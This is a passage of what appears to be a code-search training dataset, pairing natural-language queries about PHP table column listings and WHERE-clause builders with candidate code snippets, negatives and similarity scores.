$this->setUpToolsAliases(true);\n $this->setUpToolsModels();\n $this->setUpToolsDB();\n }", "protected function setUp(): void\n {\n $this->dbSetUp();\n $this->prepareObjects();\n $this->createDummyData();\n }", "public function setUp()\n {\n $this->reloadSchema();\n $this->reloadDataFixtures();\n }", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}" ]
[ "0.82278", "0.8151766", "0.8120763", "0.8066834", "0.7929647", "0.792178", "0.7876527", "0.7874662", "0.78659296", "0.78044635", "0.7797297", "0.7791685", "0.778262", "0.7777769", "0.7767665", "0.7721243", "0.76767457", "0.7659958", "0.7655527", "0.7634757", "0.76082313", "0.7607341", "0.76022214", "0.7583909", "0.7580398", "0.7568523", "0.7551737", "0.7551225", "0.75498056", "0.7522449", "0.7505289", "0.7503911", "0.7487268", "0.74679744", "0.74618214", "0.74618214", "0.74588805", "0.7449206", "0.7441238", "0.74370205", "0.7436692", "0.7436692", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436669", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302", "0.7436302" ]
0.0
-1
Gets the column listing for this table
public static function getColumns () { if (isset(static::$tableColumns)) { return self::$tableColumns; } $class = new static(); return static::$tableColumns = \Cache::remember( static::class . '::columns', $class->rememberColumnsDuration, function () use ($class) { $table = is_callable([$class, 'getTable']) ? $class->getTable() : $class->table; return Schema::getColumnListing($table); } ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "abstract public function listColumns();", "public function getColumns()\n {\n return $this->allColumns ?: $this->defineListColumns();\n }", "public function getColumnsList(){\n return $this->_get(3);\n }", "function get_columns( ) {\r\n\t\treturn self::mla_manage_columns_filter();\r\n\t}", "public function get_columns() {\n\n\t\treturn array(\n\t\t\t'id' \t\t => '%d',\n\t\t\t'name' \t\t => '%s',\n\t\t\t'date_created' \t=> '%s',\n\t\t\t'date_modified' => '%s',\n\t\t\t'status'\t\t=> '%s',\n\t\t\t'ical_hash'\t\t=> '%s'\n\t\t);\n\n\t}", "public function getTableColumns(){\n\n $show_columns_statement = $this->grammer->compileShowColumns($this);\n return $this->connection->getTableColumns($show_columns_statement);\n\n }", "public static function getColumns()\n {\n return array('title', 'bindingId', 'minYear', 'maxYear',\n 'preciseDate', 'placePublished', 'publisher', 'printVersion',\n 'firstPage', 'lastPage');\n }", "public function getColumns()\n\t\t{\n\t\t\tstatic $columns = array(\n\t\t\t\t'date_modified', 'date_created', 'cfe_event_id', 'name','short_name'\n\t\t\t);\n\t\t\treturn $columns;\n\t\t}", "public function get_columns()\n {\n }", "public function get_columns()\n {\n }", "public function get_columns()\n {\n }", "public function get_columns()\n {\n }", "public function get_columns()\n {\n }", "public function get_columns()\n {\n }", "public function get_columns() {\n\n\t\treturn $columns = array(\n\t\t\t'title' => __( 'Name' ),\n\t\t\t'client_id' => __( 'Client ID' ),\n\t\t\t//'client_secret' => __( 'Redirect URI' )\n\t\t);\n\t}", "public function column_list()\r\n {\r\n $this->set_error(\"MBE-\".$this->model_code.\"-CL-1\", \r\n \"Internal error, please contact admin\", \r\n \"Missing column_list API for this model \".$this->model_name);\r\n \r\n $column_list = array();\r\n /*\r\n $column_list = array (\r\n array(\"name\" => \"dummy\", \"must_have\" => true),\r\n );\r\n */\r\n return $column_list;\r\n }", "public function getColumns()\n {\n return $this->select_list;\n }", "public function getListColumns()\n {\n if ( $this->_listColumnNames ) {\n return $this->_listColumnNames;\n }\n\n $this->kernel->event->trigger('phifty.crud.list_column_before',$this);\n\n $columnNames = array();\n if ( $this->listColumns ) {\n $columnNames = array_merge($this->listColumns,\n $this->listMiddleColumns,\n $this->listRightColumns\n );\n } else {\n // $columnNames = $this->getModel()->getColumnNames();\n $columnNames = $this->getModel()->getRenderableColumnNames();\n }\n\n return $this->_listColumnNames = $columnNames;\n }", "public static function getColumns()\n {\n return array('libraryId', 'signature', 'summary', 'status', 'userId');\n }", "public function columns()\n {\n return $this->get('columns', []);\n }", "public function getColumns(){\n $url = $this->urlWrapper() . URLResources::COLUMN;\n return $this->makeRequest($url, \"GET\", 2);\n }", "public function getColumns() {\n\t\treturn( $this->getTable()->getColumns() );\n\t}", "public function getTableColumns() {\n return $this->getConnection()->getSchemaBuilder()->getColumnListing($this->getTable());\n }", "public function getColumns();", "public function getColumns();", "public function getColumns();", "public function getColumns();", "public function getColumns();", "public function getColumns();", "public function getColumns();", "public function getColumns()\n\t{\n\t\t\n $result = $this->fetchingData(array(\n 'query' => \"SHOW FULL COLUMNS FROM `$this->table`\"\n ));\n\n return $result;\n\t}", "public function get_columns() {\n\n $instance = Envira_Gallery_Common::get_instance();\n return $instance->get_columns();\n\n }", "public function getColumns()\n {\n return $this->columns;\n }", "public function getColumns()\n {\n return $this->columns;\n }", "public function getColumns()\n {\n return $this->columns;\n }", "public function getColumns()\n {\n return $this->columns;\n }", "public function getColumns()\n {\n return $this->columns;\n }", "public function getColumns()\n {\n return $this->columns;\n }", "public function getColumns()\n {\n return $this->columns;\n }", "public function getColumns()\n {\n return $this->columns;\n }", "public function getColumns()\n {\n return $this->columns;\n }", "public function getColumns()\n {\n return $this->columns;\n }", "public function getColumns()\n {\n return $this->columns;\n }", "public function getColumns()\r\n {\r\n }", "function get_columns() {\r\n return $columns= array(\r\n 'col_created_on'=>__('Date'),\r\n 'col_type'=>__('Type'),\r\n 'col_ip'=>__('IP'),\r\n 'col_os'=>__('Operating System'),\r\n 'col_browser'=>__('Browser'),\r\n 'col_location'=>__('Location'),\r\n 'col_actions'=>__('Actions')\r\n );\r\n }", "public function getColumns() {\n return $this->columns;\n }", "function get_columns() {\n\n\t\treturn $columns = array(\n\t\t\t'cb'\t\t=> '<input type=\"checkbox\" />', //Render a checkbox instead of text\n\t\t\t'title'\t\t=> 'Title',\n\t\t\t'rating'\t=> 'Rating',\n\t\t\t'director'\t=> 'Director'\n\t\t);\n\t}", "public function get_columns()\r\n\t{\r\n\t\treturn [\r\n\t\t\t'name' => __( 'Name', 'giga-messenger-bots' ),\r\n\t\t\t'email' => __( 'Email', 'giga-messenger-bots' ),\r\n\t\t\t'phone' => __( 'Phone', 'giga-messenger-bots' ),\r\n\t\t\t'subscribe' => __( 'Subscribe', 'giga-messenger-bots' ),\r\n 'auto_stop' => __( 'Status', 'giga-messenger-bots' ),\r\n\t\t\t'created_at' => __( 'Created At', 'giga-messenger-bots' ),\r\n\t\t];\r\n\t}", "public function getColumns() {\n\t\t$spec = self::$specs[$this->id];\n\t\treturn array_value($spec, \"columns\", []);\n\t}", "public function getColumnsFromTable()\n {\n return Zend_Db_Table::getDefaultAdapter()->describeTable($this->_tableName);\n }", "public function get_columns() {\n\t\treturn array(\n\t\t\t'payment' => 'Payment',\n\t\t\t'status' => 'Status',\n\t\t\t'category' => 'Category',\n\t\t\t'due' => 'Due',\n\t\t\t'amount' => 'Amount',\n\t\t\t'method' => 'Method',\n\t\t\t// 'vendor' => 'Vendor',\n\t\t\t'attachments' => 'Attachments',\n\t\t\t'event' => 'Event',\n\t\t);\n\t}", "public function getColumns() {\n\t\treturn $this->columns;\n\t}", "public function getTableColumns()\n {\n $tableColumns = $this->getConnection()->getSchemaBuilder()->getColumnListing($this->getTable());\n return $tableColumns;\n }", "public function getColumns()\n {\n return $this->_columns;\n }", "public function get_columns() {\n\n\t\treturn array(\n\t\t\t'cb' => '<input type=\"checkbox\" />',\n\t\t\t'product_id' => __( 'Product ID', 'tuxedo-software-updater' ),\n\t\t\t'user_id' => __( 'User ID', 'tuxedo-software-updater' ),\n\t\t\t'order_id' => __( 'Order ID', 'tuxedo-software-updater' ),\n\t\t\t'activations' => __( 'Activations', 'tuxedo-software-updater' ),\n\t\t\t'expires' => __( 'Expires', 'tuxedo-software-updater' ),\n\t\t\t'created' => __( 'Created', 'tuxedo-software-updater' ),\n\t\t\t'modified' => __( 'Modified', 'tuxedo-software-updater' ),\n\t\t);\n\n\t}", "public static function columns()\n {\n return [\n 'id' => trans('persona.id.id'),\n 'module_name' => trans_title('modules'),\n 'module_key' => sections('modules.key'),\n 'module_description' => trans('system.description'),\n ];\n }", "public function getColumns()\n\t{\n\t\treturn $this->columns;\n\t}", "public function getColumns()\n\t{\n\t\treturn $this->columns;\n\t}", "public static function getColumnNames()\n {\n $class = new static([ ]);\n $result = database()->run('DESCRIBE ' . $class->table);\n\n $columns = [ ];\n foreach ($result->fetchAll(PDO::FETCH_COLUMN) as $column):\n if (in_array($column, $class->hidden)) continue;\n\n $columns[] = $column;\n endforeach;\n\n foreach ($class->functionsToShow as $function)\n $columns[] = $function;\n \n unset($class);\n return $columns;\n }", "public static function getColumns()\n {\n $type = static::getType();\n return $type::getColumns();\n }", "public function getColumns()\n\t\t{\n\t\t\tstatic $columns = array(\n\t\t\t\t'date_modified', 'date_created', 'cfe_action_type_id',\n\t\t\t\t'name'\n\t\t\t);\n\t\t\treturn $columns;\n\t\t}", "public function getColumns() {\n return $this->aColumns;\n }", "public function getTableColumns() { return $this->table->getColumns(); }", "public function get_columns()\n {\n $columns = array(\n 'display_title' => 'Title',\n 'description' => 'Description',\n 'shortcode' => 'PUA Item Shortcode',\n 'tags' => 'WP Tags'\n );\n\n return $columns;\n }", "public function get_columns() {\n\t\treturn array(\n\t\t\t'cb' => '<input type=\"checkbox\" />',\n\t\t\t'first_name' => __( 'First Name', 'wdaf' ),\n\t\t\t'last_name' => __( 'Last Name', 'wdaf' ),\n\t\t\t'email' => __( 'Email', 'wdaf' ),\n\t\t\t'present_address' => __( 'Address', 'wdaf' ),\n\t\t\t'phone' => __( 'Phone', 'wdaf' ),\n\t\t\t'created_date' => __( 'Date', 'wdaf' ),\n\t\t);\n\t}", "public function get_columns()\n\t{\n\t\treturn array(\n\t\t\t'cb' => '<input type=\"checkbox\" />',\n\t\t\t'data' \t => 'Data',\n\t\t\t'timestamp' => 'Timestamp',\n\t\t);\n\t}", "public function getListColumns(){\n\treturn \"id, codice_categoria, codice, descrizione\";\n}", "public function get_columns()\r\n {\r\n $columns = array(\r\n 'cb' => '<input type=\"checkbox\" />',\r\n 'name' => 'Name',\r\n 'sku' => 'SKU',\r\n 'price' => 'Price',\r\n 'categories' => 'Categories',\r\n 'date' => 'Date'\r\n );\r\n return $columns;\r\n }", "public static function getColumns()\n {\n return array();\n }", "public function get_columns() {\n\t\treturn array(\n\t\t\t'id' => '%d',\n\t\t\t'user_id' => '%d',\n\t\t\t'username' => '%s',\n\t\t\t'name' => '%s',\n\t\t\t'email' => '%s',\n\t\t\t'product_count' => '%d',\n\t\t\t'sales_count'\t => '%d',\n\t\t\t'sales_value'\t => '%f',\n\t\t\t'status'\t\t => '%s',\n\t\t\t'notes' => '%s',\n\t\t\t'date_created' => '%s',\n\t\t);\n\t}", "public function get_columns() {\n\t\t$columns = array(\n 'id' => __( 'ID', 'edd-commissions-payouts' ),\n 'txn_id' => __( 'Transaction ID', 'edd-commissions-payouts' ),\n 'date' => __( 'Date', 'edd-commissions-payouts' ),\n 'amount' => __( 'Amount', 'edd-commissions-payouts' ),\n 'fees' => __( 'Fees', 'edd-commissions-payouts' ),\n 'recipients' => __( 'Recipients', 'edd-commissions-payouts' ),\n 'status' => __( 'Status', 'edd-commissions-payouts' ),\n 'notes' => sprintf( '<span><span class=\"vers comment-grey-bubble\" title=\"%1$s\"><span class=\"screen-reader-text\">%1$s</span></span></span>', __( 'Notes', 'edd-commissions-payouts' ) ),\n );\n \n\t\treturn $columns;\n\t}", "public function get_columns()\n\t{\n\t\t$columns = array();\n\t\t$class = $this->activeRecordClass;\n\t\t\n\t\tif ( ! empty( $this->bulkActions ) )\n\t\t{\n\t\t\t$columns[ 'cb' ] = '<input type=\"checkbox\" />';\n\t\t}\n\t\t\n\t\tif ( isset( $this->columns ) )\n\t\t{\n\t\t\t$columns = array_merge( $columns, $this->columns );\n\t\t\treturn $columns;\n\t\t}\n\t\t\n\t\tforeach( $class::$columns as $key => $column )\n\t\t{\n\t\t\t$slug = NULL;\n\t\t\t$title = NULL;\n\t\t\t\n\t\t\tif ( is_array( $column ) )\n\t\t\t{\n\t\t\t\t$slug = $class::$prefix . $key;\n\t\t\t\tif ( isset( $column[ 'title' ] ) and is_string( $column[ 'title' ] ) )\n\t\t\t\t{\n\t\t\t\t\t$title = $column[ 'title' ];\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ( is_string( $column ) )\n\t\t\t{\n\t\t\t\t$slug = $class::$prefix . $column;\n\t\t\t}\n\t\t\t\n\t\t\tif ( ! $title )\n\t\t\t{\n\t\t\t\t$title = str_replace( '_', ' ', $slug );\n\t\t\t\t$title = ucwords( $title );\n\t\t\t}\n\t\t\t\n\t\t\t$columns[ $slug ] = $title;\n\t\t}\n\t\t\n\t\treturn $columns;\n\t}", "function get_columns() {\n\t\t$columns = array(\n\t\t\t'cb' => '<input type=\"checkbox\" />',\n\t\t\t'id' => __( 'ID', 'mylisttable' ),\n\t\t\t'date' => __( 'Date', 'mylisttable' ),\n\t\t\t'uploader' => __( 'Uploader (#ID)', 'mylisttable' ),\n\t\t\t'uploader_group' => __( 'Uploader Group\t (#ID)', 'mylisttable' ),\n\t\t\t'site' => __( 'Site #ID', 'mylisttable' ),\n\t\t\t'assessment' => __( 'Assessment #ID', 'mylisttable' ),\n\t\t\t'assessment_result' => __( 'View', 'mylisttable' ),\n\t\t);\n\t\tif ( current_user_can( 'manage_options' ) ) {\n\t\t\t$columns['assessment_result_evaluation'] = __( 'Evaluate', 'mylisttable' );\n\t\t}\n\t\treturn $columns;\n\t}", "public function columns()\n {\n $this->addColumn();\n return $this->columns;\n }", "function get_columns(){\n $columns = array(\n 'title' => 'Contact Name',\n 'date_created' => 'Date Created',\n 'contact_name' => 'Created By'\n );\n return $columns;\n\t}", "function getColumns() {return $this->_columns;}", "public function get_columns() {\n\t\treturn [\n\t\t\t'product' => __('Product', 'woocommerce'),\n\t\t\t'quantity' => __('Quantity', 'woocommerce'),\n\t\t\t'price' => __('Price', 'woocommerce'),\n\t\t\t'total' => __('Total', 'woocommerce')\n\t\t];\n\t}", "public function get_column_detail()\n\t{\n\t\t$ret_fields\t=\t'';\n\t\t$fields\t\t=\t$this->get_fields_info();\n\t\tif ( $fields )\n\t\t{\n\t\t\tforeach( $fields as $field )\n\t\t\t{\n\t\t\t\t$ret_fields\t=\t$ret_fields.', '.$this->table.'.'.$field->name;\n\t\t\t}\n\t\t}\n\n\t\treturn $ret_fields;\n\t}", "public function getTableColumns()\n\t{\n\t}", "public function columns()\n\t{\n\t\treturn $this->columns;\n\t}", "public function columns()\n\t{\n\t\treturn $this->columns;\n\t}", "function get_columns() {\n return $columns= array(\n 'col_what'=>__('What','wpwt'),\n 'col_user'=>__('User Name','wpwt'),\n 'col_groupName'=>__('Group Name','wpwt'),\n 'col_application'=>__('Application','wpwt')\n );\n }", "function lookup_columns()\n {\n // Avoid doing multiple SHOW COLUMNS if we can help it\n $key = C_Photocrati_Transient_Manager::create_key('col_in_' . $this->get_table_name(), 'columns');\n $this->_table_columns = C_Photocrati_Transient_Manager::fetch($key, FALSE);\n if (!$this->_table_columns) {\n $this->object->update_columns_cache();\n }\n return $this->_table_columns;\n }", "public function get_columns() {\n \t\t$columns = array(\n \t\t\t'blogname' => __( 'Site Name' ),\n \t\t\t'blog_path' => __( 'Path' ),\n \t\t\t'connected' => __( 'Jetpack Connected' ),\n 'jetpackemail' => __('Jetpack Master User E-mail'),\n 'lastpost' => __( 'Last Post Date' ),\n \t\t);\n\n \t\treturn $columns;\n \t}", "private function table_columns(){\n $column = array();\n $query = $this->db->select('column_name')\n ->from('information_schema.columns')\n ->where('table_name', $this::$table_name)\n ->get($this::$table_name)->result_array();\n //return individual table column\n foreach($query as $column_array){\n foreach($column_array as $column_name){\n $column[] = $column_name;\n }\n }\n return $column;\n }", "function listColumns($tablename);", "public function getColumns(): array\n {\n return $this->columns;\n }", "public function getColumns(): array\n {\n return $this->columns;\n }", "private function getListCols(){\n $result = array();\n \n foreach($this->main->dataset['data'] as $item){\n if($item['list']){\n array_push($result, array(\n 'name' => $item['label'],\n 'col_name' => $item['name'],\n 'type' => $item['type'],\n 'options_custom' => $item['options_custom'],\n 'options_table' => $item['options_table'],\n 'options_source' => $item['options_source'],\n 'prefix' => null,\n 'suffix' => null,\n 'mode' => null\n ));\n };\n };\n\n return $result;\n }", "abstract public function getColNames();", "public function get_columns() {\n\n\t\t\t$columns = [];\n\n\t\t\tif ( $this->bulk_actions_enabled ) {\n\t\t\t\tif ( ! empty( $this->wpda_list_columns->get_table_primary_key() ) ) {\n\t\t\t\t\t// Tables has primary key: bulk actions allowed!\n\t\t\t\t\t// Primary key is used to ensure uniqueness.\n\t\t\t\t\t$actions = $this->get_bulk_actions();\n\t\t\t\t\tif ( is_array( $actions ) && 0 < sizeof( $actions ) ) {\n\t\t\t\t\t\t$columns = [ 'cb' => '<input type=\"checkbox\" />' ];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$columnlist = $this->wpda_list_columns->get_table_column_headers();\n\t\t\tforeach ( $columnlist as $key => $value ) {\n\t\t\t\t$columns[ $key ] = $value;\n\t\t\t\t// Check for alternative column header.\n\t\t\t\tif ( isset( $this->column_headers[ $key ] ) ) {\n\t\t\t\t\t// Alternative header found: use it.\n\t\t\t\t\t$columns[ $key ] = $this->column_headers[ $key ];\n\t\t\t\t} else {\n\t\t\t\t\t// Default behaviour: get column header from generated label.\n\t\t\t\t\t$columns[ $key ] = $this->wpda_list_columns->get_column_label( $key );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( isset( $this->wpda_table_settings->hyperlinks ) ) {\n\t\t\t\t$i = 0;\n\t\t\t\tforeach ( $this->wpda_table_settings->hyperlinks as $hyperlink ) {\n\t\t\t\t\tif ( isset( $hyperlink->hyperlink_list ) && true === $hyperlink->hyperlink_list ) {\n\t\t\t\t\t\t$skip_column = false;\n\n\t\t\t\t\t\tif ( null !== $this->wpda_project_table_settings ) {\n\t\t\t\t\t\t\t$hyperlink_label = $hyperlink->hyperlink_label;\n\n\t\t\t\t\t\t\tif ( ! property_exists( $this, 'is_child') ) {\n\t\t\t\t\t\t\t\tif (\n\t\t\t\t\t\t\t\t\tisset( $this->wpda_project_table_settings->hyperlinks_parent->$hyperlink_label ) &&\n\t\t\t\t\t\t\t\t\t! $this->wpda_project_table_settings->hyperlinks_parent->$hyperlink_label\n\t\t\t\t\t\t\t\t) {\n\t\t\t\t\t\t\t\t\t$skip_column = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif (\n\t\t\t\t\t\t\t\t\tisset( $this->wpda_project_table_settings->hyperlinks_child->$hyperlink_label ) &&\n\t\t\t\t\t\t\t\t\t! $this->wpda_project_table_settings->hyperlinks_child->$hyperlink_label\n\t\t\t\t\t\t\t\t) {\n\t\t\t\t\t\t\t\t\t$skip_column = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ( ! $skip_column ) {\n\t\t\t\t\t\t\t$hyperlink_label = isset( $hyperlink->hyperlink_label ) ? $hyperlink->hyperlink_label : '';\n\t\t\t\t\t\t\t$columns[\"wpda_hyperlink_{$i}\"] = $hyperlink_label; // Add hyperlink label\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $columns;\n\n\t\t}", "function getColumns()\r\n {\r\n $columns = array();\r\n if ($this->_options['generate_columns'] \r\n and $fieldList = $this->_options['fields']) {\r\n \r\n include_once('Structures/DataGrid/Column.php');\r\n \r\n foreach ($fieldList as $field) {\r\n $label = strtr($field, $this->_options['labels']);\r\n $col = new Structures_DataGrid_Column($label, $field, $field);\r\n $columns[] = $col;\r\n }\r\n }\r\n \r\n return $columns;\r\n }", "protected function get_column_info()\n {\n }", "protected function get_column_info()\n {\n }", "function get_display_columns() {\n return $columns = array('id' => __('id', 'kkl-ligatool'), 'name' => __('name', 'kkl-ligatool'), 'club_id' => __('club', 'kkl-ligatool'), 'season_id' => __('season', 'kkl-ligatool'), 'short_name' => __('url_code', 'kkl-ligatool'),);\n }", "public function get_columns()\n {\n $columns = array(\n 'cb' => '<input type=\"checkbox\" />',\n 'perusahaan' => 'Name',\n 'total_ken' => 'Total Kendaraan',\n 'total_pen' => 'Total Pengemudi',\n 'tanggal' => 'Created Date' \n );\n return $columns;\n }", "public function getColumns()\n\t{\n\t\treturn $this->properties;\n\t}", "protected function getColumnsAttribute()\n {\n return $this->fetchData[self::COLUMNS];\n }", "function &columns() {\n // return by reference\n $columns = array(\n ts('Contact Sub&nbsp;Type') => 'contact_sub_type',\n ts('Name') => 'sort_name',\n ts('Source') => 'source',\n ts('Created') => 'created_date',\n ts('Modified') => 'modified_date',\n );\n return $columns;\n }", "public function getColumnNames();" ]
[ "0.78462875", "0.7809618", "0.7780345", "0.769485", "0.76666397", "0.76527256", "0.76373786", "0.76191604", "0.7601512", "0.7601512", "0.7601512", "0.7601512", "0.7600175", "0.7600175", "0.7569774", "0.75666994", "0.7559292", "0.75468343", "0.753496", "0.7517358", "0.75055027", "0.74973947", "0.7478135", "0.74458647", "0.74458647", "0.74458647", "0.74458647", "0.74458647", "0.74458647", "0.74458647", "0.7445445", "0.7422877", "0.7420187", "0.7420187", "0.7420187", "0.7420187", "0.7420187", "0.7420187", "0.7420187", "0.7420187", "0.7420187", "0.7420187", "0.7420187", "0.74094087", "0.74087626", "0.7389735", "0.7369409", "0.734743", "0.73417085", "0.73410165", "0.7338554", "0.73238695", "0.7322411", "0.7320667", "0.73161083", "0.73147976", "0.7314336", "0.7314336", "0.7309592", "0.73049265", "0.7299217", "0.72970974", "0.7295897", "0.72829604", "0.7275525", "0.727115", "0.7266564", "0.72594863", "0.7243243", "0.723022", "0.72193575", "0.7205654", "0.72051185", "0.7186621", "0.71805465", "0.715764", "0.7150061", "0.71494645", "0.71443117", "0.7143727", "0.7143727", "0.71315295", "0.71273625", "0.7120317", "0.7114087", "0.7113349", "0.7113234", "0.7113234", "0.7108894", "0.71078277", "0.70943713", "0.7091774", "0.7086823", "0.70865256", "0.70830035", "0.70825046", "0.70813954", "0.7080959", "0.7055362", "0.7053102" ]
0.7105702
90
Builds a WHERE clause for the query
protected function _buildQueryWhere(KDatabaseQuery $query) { parent::_buildQueryWhere($query); if($this->_state->type) { $query->where('tbl.subscription_type', '=', $this->_state->type); } elseif($this->_state->type_name) { $table = $this->getService('com://admin/ninjaboard.database.table.watches'); $query->where('tbl.subscription_type', '=', $table->getTypeIdFromName($this->_state->type_name)); } if($this->_state->type_id) { $query->where('tbl.subscription_type_id', '=', $this->_state->type_id); } if($this->_state->by) { $query->where('tbl.created_by', '=', $this->_state->by); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function buildWhereClause() {\r\n\t\t$sql='';\r\n\t\tif (count($this->_salt_wheres)>0) {\r\n\t\t\t$sql.=' WHERE '.implode(' ', $this->_salt_wheres);\r\n\t\t}\r\n\t\treturn $sql;\r\n\r\n\t}", "protected function construct_where_clause() {\n\t\t\t$whereclause = $this->get_where_clause();\n\t\t\tif ( '' !== $whereclause ) {\n\t\t\t\t$this->where = '' === $this->where ? \" where ($whereclause) \" : \" {$this->where} and ($whereclause) \";\n\t\t\t}\n\t\t}", "private function buildWhere()\n {\n $query = array();\n\n // Make sure there's something to do\n if (isset($this->query['where']) and count($this->query['where'])) {\n foreach ($this->query['where'] as $group => $conditions) {\n $group = array(); // Yes, because the $group above is not used, get over it.\n foreach ($conditions as $condition => $value) {\n // Get column name\n $cond = explode(\" \", $condition);\n $column = str_replace('`', '', $cond[0]);\n $safeColumn = $this->columnName($column);\n\n // Make the column name safe\n $condition = str_replace($column, $safeColumn, $condition);\n\n // Add value to the bind queue\n $valueBindKey = str_replace(array('.', '`'), array('_', ''), $safeColumn);\n\n if (!empty($value) or $value !== null) {\n $this->valuesToBind[$valueBindKey] = $value;\n }\n\n // Add condition to group\n $group[] = str_replace(\"?\", \":{$valueBindKey}\", $condition);\n }\n\n // Add the group\n $query[] = \"(\" . implode(\" AND \", $group) . \")\";\n }\n\n // Return\n return \"WHERE \" . implode(\" OR \", $query);\n }\n }", "protected function getWhereClause() {}", "public function buildWhereClause()\n {\n $criterias = $this->bean->ownCriteria;\n if (empty($criterias)) {\n return '1';\n }// find all because there are no criterias\n $where = array();\n $this->filter_values = array();\n //$mask = \" %s %s %s\"; // login, field, op (with masked value)\n $n = 0;\n foreach ($criterias as $id=>$criteria) {\n if (! $criteria->op) {\n continue;\n } // skip all entries that say any!\n if ($criteria->value === null || $criteria->value === '') {\n continue;\n } // skip all empty\n $n++;\n $logic = 'AND ';//$criteria->logic;\n if ($n == 1) {\n $logic = '';\n }\n $where[] = $logic.$criteria->makeWherePart($this);\n }\n\n if (empty($where)) {\n return '1';\n }// find all because there was no active criteria\n\n $where = implode(' ', $where);\n return $where;\n }", "protected function getGeneralWhereClause() {}", "public function getWhereSQL()\n {\n return \" AND \" . $this->field_where_name . \" LIKE '%\" . $this->field_row->criteria . \"%' \";\n \n }", "protected function buildQuery()\n\t{\n\t\t$this->query = count($this->conditions) ? 'WHERE ' . implode(' AND ', $this->conditions) : '';\n\t}", "protected function _buildWhere(&$query)\r\n {\r\n\r\n\r\n \t//if($this->_checkin!=null)\r\n \t//{\r\n \t//\t$query->where('ltap.ltap_qdatu = \"'.$this->_confdate.'\"');\r\n \t//}\r\n return $query;\r\n }", "protected function _buildWhere(&$query)\n {\n\n return $query;\n }", "public static function buildWhereClause($where)\n{\n\t// Form WHERE clause\n\t$clause = ' WHERE ' . (is_array($where)\n\t\t? implode(' = ? AND ', array_keys($where)) . ' = ?'\n\t\t: strval($where));\n\n\t// Return clause\n\treturn $clause;\n}", "private function appendWhere()\n\t{\n\t\t$whereCount = count($this->where);\n\n\t\tfor($i = 0; $i < $whereCount; $i++)\n\t\t{\n\t\t\t$where = $this->where[$i];\n\n\t\t\tif($i == 0)\n\t\t\t{\n\t\t\t\t$this->queryString .= self::WHERE;\n\t\t\t}\n\n\t\t\t$this->queryString .= $where->getCondition();\n\n\t\t\tif($i < $whereCount-1)\n\t\t\t{\n\t\t\t\t$this->queryString .= \" \" . $where->getOperator() . \" \";\n\t\t\t}\n\t\t}\n\t}", "protected function user_where_clause() {}", "public function buildConditionQuery()\n\t\t\t{\n\t\t\t\t$this->sql_condition = ' user_id='.$this->CFG['user']['user_id'];\n\t\t\t}", "public function getWhereClause() {\n\n\tif (isset($this->filters) && !empty($this->filters)) {\n\t\t// $aClause = array();\n\t\t// $aOperators = array();\n\t\t$sClause = '';\n\t switch ($this->type) {\n\t\tcase 0:\n\t\tcase 4:\n\t\tdefault:\n\t\t \n\t\t $aWhere = $this->getFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach ($aWhere as $key => $value) {\n\t\t\t\t // $this->model->where($key, $value);\n\t\t\t\t $sClause .= $key . ' = ' . $value . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t\tcase 1:\n\t\t $aWhere = $this->getLikeFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach ($aWhere as $key => $value) {\n\t\t\t\t // $this->model->where_like($key, $value);\n\t\t\t\t $sClause .= $key . ' LIKE ' . $value . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t\tcase 2:\n\t\t $aWhere = $this->getRangeFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach 